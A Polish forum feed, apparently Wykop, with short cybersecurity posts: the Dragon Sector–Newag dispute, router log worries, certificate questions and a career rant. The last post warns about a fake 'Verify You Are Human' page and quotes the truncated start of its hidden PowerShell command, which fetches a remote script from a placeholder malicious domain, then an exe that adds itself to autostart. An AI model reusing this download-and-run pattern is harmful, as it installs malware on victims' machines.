W świecie, gdzie wielkie firmy technologiczne jak Google czy Apple płacą fortuny za odkrywanie luk w swoich systemach, w Polsce mamy... inne standardy. Przykład pierwszy z brzegu: konflikt Dragon Sector, elity polskich hakerów, z Newagiem. Kiedy Dragon Sector wskazał na krytyczne luki w oprogramowaniu używanym przez firmę, reakcja Newagu była, cóż... "oryginalna". Zamiast współpracy czy wdzięczności, przyszły pozwy i oskarżenia o naruszenie praw autorskich.

A teraz perełka. Łukasz Firek, specjalista ds. bezpieczeństwa, postanowił
  • 55
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Zdaje mi się, że mam zbyt ciekawego sąsiada (lub sąsiadkę, ale chyba nie).
Mam router "kablowy" z firmy która dostarcza również tv kablówkę. Router jest całkiem spoko, ale oczywiście niektóre ustawienia ma zablokowane i nie tu jest problem. Majstrowałem w logach i zaniepokoiło mnie kilka wpisów. Do tego albo logi są bardzo ograniczone albo może ktoś je wykasował, ogólnie nie jest dobrze.
Zmieniłem chasło do wifi na trudniejsze i logi jak sądzę
  • 5
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@FilipWWL ukrywanie ssid wiele nie daje jeżeli ktoś się zna. Ustaw dobre hasło (nie chasło ( ͡° ͜ʖ ͡°) ) i gotowe. A co do logów, to w większości takich routerów nie przetrwają restartu zasilania. Jak odlaczales po drodze to po ptakach.
  • Odpowiedz
Ale znalazłem szura na pepperze. Gościu głosi prawdy życiowe, że każde jednorazowe wejście w link może zainfekować kompa ( ͡º ͜ʖ͡º)
jakby ktoś chciał poczytać:
https://www.pepper.pl/promocje/darmowe-przejazdy-komunikacja-miejska-transport-gzm-7-9-grudnia-945832#comment-21317934

cały jego profil jest takimi komentarzami zasrany, odklejeniec.

#cyberbezpieczenstwo #cybersecurity #programowanie #programista15k #informatyka
  • 4
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@JamesJoyce: przeciez zaden szanujacy sie programista nie aplikuje na oferte bez widelek, w koncu on prace znajdzie zawsze i nie ma czasu na takie podchody ( ͡° ͜ʖ ͡°)
  • Odpowiedz
Gdybym wierzył mojemu poprzedniemu menadżerowi i "najlepszemu" koledze (który okazał się wampirem energetycznym) do tej pory klepał bym te same nudne taski typu zablokuj url na EDR, moja kreatywność byłaby stłamszona, nie było szans na awans (chyba że z zasiedzenia) ani na lepszą kasę ani szkolenia (typu sans) bo "my [Polacy] do niczego więcej się nie nadajemy". Trzy lata temu walnąłem jednak w stół i teraz w zupełnie innej już firmie (będącej
  • 8
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Pytanie do kogoś kto pracuje w #cybersecurity #cybersec

Czy pracodawcy zwracają uwagę na certyfikaty #ccna i #ccnp , czy te certyfikaty są raczej bezwartościowe w tej branży? Ewentualnie na co lepiej zwrócić uwagę?
  • 5
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Takie coś mi wyskoczyło na jednej stronie, przy wyłączonym adblocku.
W schowku była komenda do wykonania w powershellu. To był jakiś prosty skrypt, który ściągał plik tekstowy i uruchamiał go jako kolejny skrypt. Drugi skrypt z pliku tekstowego ściągał plik zip, rozpakowywał, uruchamiał exe z katalogu. Exe rozgaszczał się jak sądzę w AppData a do rejestru dodawany był wpis potrzebny do autostartu.

Pierwszy skrypt

powershell.exe -W Hidden -command $url = 'adreszlosliwejstronyinternetowej.com/n2.txt'; $response
xavhowk - Takie coś mi wyskoczyło na jednej stronie, przy wyłączonym adblocku.
W scho...

źródło: Screenshot 2024-10-06 at 13-06-33 Verify You Are Human

Pobierz
  • 4
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach